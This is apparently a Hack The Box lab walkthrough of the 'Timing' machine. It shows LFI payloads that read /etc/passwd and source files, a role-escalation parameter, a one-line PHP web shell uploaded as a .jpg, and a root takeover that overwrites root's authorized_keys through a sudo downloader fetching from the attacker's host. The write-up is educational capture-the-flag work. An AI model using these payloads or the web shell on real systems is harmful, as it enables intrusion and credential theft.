Hack The Box - Timing Walkthrough

Today we will be taking a look at Timing from Hack the Box. Timing is considered to be of medium difficulty, and requires the usage of a local file inclusion to eventually find credentials for the box. We then find an application that we can run with sudo permissions, and misuse it to gain root access.

Foothold

Let's start off by initiating an nmap scan, which will enumerate all services and their versions that are running on the machine. To ensure we aren't missing any critical information, I chose to specify the -p- flag to scan all ports as well.

1nmap -sC -sV -p- -oA nmap/all_ports timing.htb

The nmap scan came back with the following results.

 1PORT   STATE SERVICE VERSION
 222/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
 3| ssh-hostkey: 
 4|   2048 d2:5c:40:d7:c9:fe:ff:a8:83:c3:6e:cd:60:11:d2:eb (RSA)
 5|   256 18:c9:f7:b9:27:36:a1:16:59:23:35:84:34:31:b3:ad (ECDSA)
 6|_  256 a2:2d:ee:db:4e:bf:f9:3f:8b:d4:cf:b4:12:d8:20:f2 (ED25519)
 780/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
 8| http-title: Simple WebApp
 9|_Requested resource was ./login.php
10| http-cookie-flags: 
11|   /: 
12|     PHPSESSID: 
13|_      httponly flag not set
14|_http-server-header: Apache/2.4.29 (Ubuntu)
15Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We find SSH open on port 22, and an Apache httpd version webserver with version 2.4.29 on port 80. Let's visit the webserver to see what we are dealing with. As the nmap scan already mentioned, we are automatically redirected to the /login.php login form. Before we start working with the login form, I always like to run enumeration tools in the background. Let's run gobuster. As we see login.php, I add the -x php flag to check for php files.

1gobuster dir -u http://timing.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -o gobuster.out -x php

Let's start up BurpSuite, and analyze the login form. We login with admin:admin credentials, and send the following POST request.

 1POST /login.php?login=true HTTP/1.1
 2Host: timing.htb
 3Content-Length: 25
 4Cache-Control: max-age=0
 5Upgrade-Insecure-Requests: 1
 6Origin: http://timing.htb
 7Content-Type: application/x-www-form-urlencoded
 8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
 9Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
10Referer: http://timing.htb/login.php
11Accept-Encoding: gzip, deflate
12Accept-Language: en-US,en;q=0.9
13Cookie: PHPSESSID=kgeait309cbhvqc7983bstr7vc
14Connection: close
15
16user=admin&password=admin

Let's save the request and see if SQLMap manages to find an SQL vulnerability within this form.

1sqlmap -r req --level=5 --risk=3

SQLMap does not find any injectable parameters. Let's take a look at the gobuster results.

 1/js                   (Status: 301) [Size: 305] [--> http://timing.htb/js/]
 2/images               (Status: 301) [Size: 309] [--> http://timing.htb/images/]
 3/css                  (Status: 301) [Size: 306] [--> http://timing.htb/css/]
 4/logout.php           (Status: 302) [Size: 0] [--> ./login.php]
 5/login.php            (Status: 200) [Size: 5609]
 6/upload.php           (Status: 302) [Size: 0] [--> ./login.php]
 7/image.php            (Status: 200) [Size: 0]
 8/profile.php          (Status: 302) [Size: 0] [--> ./login.php]
 9/index.php            (Status: 302) [Size: 0] [--> ./login.php]
10/header.php           (Status: 302) [Size: 0] [--> ./login.php]
11/footer.php           (Status: 200) [Size: 3937]
12/server-status        (Status: 403) [Size: 275]
13/db_conn.php          (Status: 200) [Size: 0]

It seems like we are able to enumerate existing pages, as we get redirects from logout.php, upload.php, profile.php etc. However, we cannot browse to these pages before we get access to the portal. We can however browse to image.php, which gives us a blank page. Let's figure out whether image.php has any functions that we can leverage. To figure this out we will be using wfuzz.

1wfuzz -c -u http://timing.htb/image.php?FUZZ=/etc/passwd -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt --hh 0

We use -c to add colors, and add an LFI payload to the parameter option to test for local file inclusion. We get a 200 response code for every page, so we hide false-positives when the char count is 0. We get the following result:

1=====================================================================
2ID           Response   Lines    Word       Chars       Payload                                                                                                                                                                   
3=====================================================================
4
5000000360:   200        0 L      3 W        25 Ch       "img"

We navigate to the page using an LFI payload.

1GET /image.php?img=../../../../../../etc/passwd HTTP/1.1

And get the following output.

1HTTP/1.1 200 OK
2
3Hacking attempt detected!

Let's send this request to the Burp repeater, and see if we can bypass the security that is in place. PHP has a base64 filter that we can use for this purpose. Let's craft the following payload and send it to the server.

1GET /image.php?img=php://filter/convert.base64-decoder/resource=../../../../../etc/passwd HTTP/1.1

The server still thinks we are sending a malicous request. After doing some tests I figured out that the server doesn't like the dots in the request, so I send the following one.

1GET /image.php?img=php://filter/convert.base64-decoder/resource=/etc/passwd HTTP/1.1

After which the server responds with the contents of the /etc/passwd file.

 1root:x:0:0:root:/root:/bin/bash
 2daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
 3bin:x:2:2:bin:/bin:/usr/sbin/nologin
 4sys:x:3:3:sys:/dev:/usr/sbin/nologin
 5sync:x:4:65534:sync:/bin:/bin/sync
 6games:x:5:60:games:/usr/games:/usr/sbin/nologin
 7man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
 8lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
 9mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
10news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
11uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
12proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
13www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
14backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
15list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
16irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
17gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
18nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
19systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
20systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
21syslog:x:102:106::/home/syslog:/usr/sbin/nologin
22messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
23_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
24lxd:x:105:65534::/var/lib/lxd/:/bin/false
25uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
26dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
27landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
28pollinate:x:109:1::/var/cache/pollinate:/bin/false
29sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
30mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
31aaron:x:1000:1000:aaron:/home/aaron:/bin/bash

We see that there is a user on the box named aaron. Whenever I know a username on a box and have a local file inclusion, I always try to read the SSH private key of that user. Let's send the following request.

1GET /image.php?img=php://filter/convert.base64-decoder/resource=/home/aaron/.ssh/id_rsa HTTP/1.1

But sadly, no luck. When we were running the gobuster scan earlier I stumbled onto a /db_conn.php file. This file seems interesting, as it could contain information regarding the underlying database. Let's try to get the contents of that file in a base64 encoded form.

1GET /image.php?img=php://filter/convert.base64-encode/resource=db_conn.php HTTP/1.1

Which, when we decode it back from base64, shows us the following contents.

1<?php
2$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_xxxxx_p422w0rd');

We find the credentials for the local mysql database. I tried to use them to get past the login form, but unfortunately there is no password reuse in play. Let's continue with the next file that we found using gobuster, which is upload.php.

 1<?php
 2include("admin_auth_check.php");
 3
 4$upload_dir = "images/uploads/";
 5
 6if (!file_exists($upload_dir)) {
 7    mkdir($upload_dir, 0777, true);
 8}
 9
10$file_hash = uniqid();
11
12$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
13$target_file = $upload_dir . $file_name;
14$error = "";
15$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
16
17if (isset($_POST["submit"])) {
18    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
19    if ($check === false) {
20        $error = "Invalid file";
21    }
22}
23
24// Check if file already exists
25if (file_exists($target_file)) {
26    $error = "Sorry, file already exists.";
27}
28
29if ($imageFileType != "jpg") {
30    $error = "This extension is not allowed.";
31}
32
33if (empty($error)) {
34    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
35        echo "The file has been uploaded.";
36    } else {
37        echo "Error: There was an error uploading your file.";
38    }
39} else {
40    echo "Error: " . $error;
41}
42?>

We can see that this php file provides us with the ability to upload files to the server. We however still need to be authenticated in order to use this. In the top statement there's an include statement, including the admin_auth_check.php file. Let's see look at this file.

1GET /image.php?img=php://filter/convert.base64-encode/resource=admin_auth_check.php HTTP/1.1

After decoding the contents back from base64 we get the following php code.

 1<?php
 2
 3include_once "auth_check.php";
 4
 5if (!isset($_SESSION['role']) || $_SESSION['role'] != 1) {
 6    echo "No permission to access this panel!";
 7    header('Location: ./index.php');
 8    die();
 9}
10
11?>

This file checks whether the session role is equal to 1. If this is not the case, we will get a permission denied. It seems asif we really have to authenticate to the webapp in order to get onto this box. At this point I was feeling pretty stuck, so after looking at a few hints I realized that the credentials for the web app were as simple as aaron:aaron... This was a bit triggering but alright, let's continue! :)

We get logged onto the web app as "user 2". In order to upload files, we need our user's role to be equal to 1. Our user pretty much only has one function, which is "edit profile". Let's edit our profile and check the request.

 1POST /profile_update.php HTTP/1.1
 2Host: timing.htb
 3Content-Length: 52
 4User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
 5Content-type: application/x-www-form-urlencoded
 6Accept: */*
 7Origin: http://timing.htb
 8Referer: http://timing.htb/profile.php
 9Accept-Encoding: gzip, deflate
10Accept-Language: en-US,en;q=0.9
11Cookie: PHPSESSID=kgeait309cbhvqc7983bstr7vc
12Connection: close
13
14firstName=test&lastName=test&email=test&company=test

Let's see if we can change our role by supplying &role=1 to the request.

1POST /profile_update.php HTTP/1.1
2[...]
3
4firstName=test&lastName=test&email=test&company=test&role=1

We forward the request, and out of nowhere the "admin panel" view pops up to our account. Nice. This admin panel allows us to upload an avatar image. Visiting this page directs us to the avatar_uploader.php file, which used the upload.php file to upload contents. After analyzing the upload.php file, we notice that we are not allowed to upload .jpg files, and that the file name is changed to the md5 hash of the file in combination with the output of the php time() command. Let's step-by-step exploit this file upload functionality.

Let's first create a simple php command shell, and save it as shell.jpg.

1<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>

Now we need to create a script that will get the name for the file that we are uploading. For this I create a simple Python script.

1import time  
2import hashlib
3
4while True:  
5    print(f"hash = {hashlib.md5('$file_hash'.encode() + str(int(time.time())).encode()).hexdigest()}")  
6    
7    time.sleep(1)

We try the the hashes created by the python script in combination with the filename, and eventually find the following request that works.

1GET /image.php?img=images/uploads/0d6e548d7312cda8654014a8f17316f0_shell.jpg&cmd=whoami HTTP/1.1

Which responds with.

1www-data

We have achieved code execution! Let's quickly get a reverse shell onto this box before the file gets deleted! I try to get a reverse shell using netcat and a typical bash reverse shell on different ports, but sadly, no luck. Seems like there is a firewall in place that is blocking connections.

Let's manually enumerate the box using our command shell. After looking through all of the /var/www/html/ files, user directories, back up directories and more, I finally stumble upon a source-files-backup.zip within the /opt/ directory. In order to download it, we need to move it to a location that is accessible for us, such as the /var/www/html/ directory.

1GET /image.php?img=images/uploads/0d6e548d7312cda8654014a8f17316f0_shell.jpg&cmd=cp+/opt/source-files-backup.zip+/var/www/html/ HTTP/1.1

We can now navigate to http://timing.htb/source-files-backup.zip to download the file. We unzip the file, and find the following contents.

 1-rw-r--r-- 1 kali kali  200 Jul 21  2021 admin_auth_check.php
 2-rw-r--r-- 1 kali kali  373 Jul 21  2021 auth_check.php
 3-rw-r--r-- 1 kali kali 1.3K Jul 21  2021 avatar_uploader.php
 4drwxr-xr-x 2 kali kali 4.0K Jul 21  2021 css
 5-rw-r--r-- 1 kali kali   92 Jul 21  2021 db_conn.php
 6-rw-r--r-- 1 kali kali 3.9K Jul 21  2021 footer.php
 7drwxr-xr-x 8 kali kali 4.0K Jul 21  2021 .git
 8-rw-r--r-- 1 kali kali 1.5K Jul 21  2021 header.php
 9-rw-r--r-- 1 kali kali  507 Jul 21  2021 image.php
10drwxr-xr-x 3 kali kali 4.0K Jul 21  2021 images
11-rw-r--r-- 1 kali kali  188 Jul 21  2021 index.php
12drwxr-xr-x 2 kali kali 4.0K Jul 21  2021 js
13-rw-r--r-- 1 kali kali 2.1K Jul 21  2021 login.php
14-rw-r--r-- 1 kali kali  113 Jul 21  2021 logout.php
15-rw-r--r-- 1 kali kali 3.0K Jul 21  2021 profile.php
16-rw-r--r-- 1 kali kali 1.7K Jul 21  2021 profile_update.php
17-rw-r--r-- 1 kali kali  984 Jul 21  2021 upload.php

We find a .git directory. Let's use gittools to extract the information from this git repo. We issue the following command.

1/opt/tools/GitTools/Extractor/extractor.sh backup gittools_out

When navigating through our dumped files, we stumble across a commit that changed the password within the db_conn.php file. Let's give it another shot, and try to use this password to connect to ssh. And finally, we get our user shell.

1aaron@timing:~$ whoami
2>> aaron
3
4aaron@timing:~$ ls 
5>>user.txt

Privilege escalation

Let's run Linpeas and hope that the privilege escalation of this box is less of a hell than the initial access :D Linpeas notices that our user is allowed to run /usr/bin/netutils as root. Let's run sudo -l.

1aaron@timing:~$ sudo -l
2Matching Defaults entries for aaron on timing:
3    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
4
5User aaron may run the following commands on timing:
6    (ALL) NOPASSWD: /usr/bin/netutils

When looking at the file that is being ran, we can see the following contents.

1aaron@timing:~$ cat /usr/bin/netutils
2
3#! /bin/bash
4java -jar /root/netutils.jar

When running the executable as sudo, we see that we are allowed to specify a URL to which the server will connect. The file that we specify is then saved onto Aaron's home directory.

 1aaron@timing:~$ sudo /usr/bin/netutils 
 2netutils v0.1
 3Select one option:
 4[0] FTP
 5[1] HTTP
 6[2] Quit
 7Input >> 1
 8Enter Url: http://10.10.14.29/file.txt
 9Initializing download: http://10.10.14.29/file.txt
10File size: 563 bytes
11Opening output file keys
12Server unsupported, starting from scratch with one connection.
13Starting download
14
15Downloaded 10 byte in 0 seconds. (5.49 KB/s)

Given this knowledge, we can create a symbolic link of the root ssh authorized_keys file, and then have root overwrite its own authorized_keys file with our public key. Let's first create the symbolic link.

1aaron@timing:~$ ln -s /root/.ssh/authorized_keys pub_keys

Now we create a new SSH key pair, and copy the id_rsa.pub file to pub_keys. We set up a Python webserver, and tell netutils to download the pub_keys file.

 1aaron@timing:~$ sudo /usr/bin/netutils 
 2netutils v0.1
 3Select one option:
 4[0] FTP
 5[1] HTTP
 6[2] Quit
 7Input >> 1
 8Enter Url: http://10.10.14.29/pub_keys
 9Initializing download: http://10.10.14.29/pub_keys
10File size: 563 bytes
11Opening output file keys
12Server unsupported, starting from scratch with one connection.
13Starting download
14
15
16Downloaded 563 byte in 0 seconds. (5.49 KB/s)

We can see that the file is downloaded in the web server logs.

1Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...                                                                                                                                                                                   
210.129.128.235 - - [04/Apr/2022 18:01:13] "GET /keys HTTP/1.0" 200 -                                                                                                                                                                       
310.129.128.235 - - [04/Apr/2022 18:01:13] "GET /keys HTTP/1.0" 200 -

Now we can finally logon to the server as root, using the basic ssh syntax.

1kali@kali:~$ ssh root@timing.htb

And we are root!

1root@timing:~# whoami                                     
2root                                                      
3root@timing:~# ls                                         
4axel  netutils.jar  root.txt

I hope this walkthrough has been useful to you. It sure has been a frustrating but educational experience for me! Thanks for reading, and have a nice day :)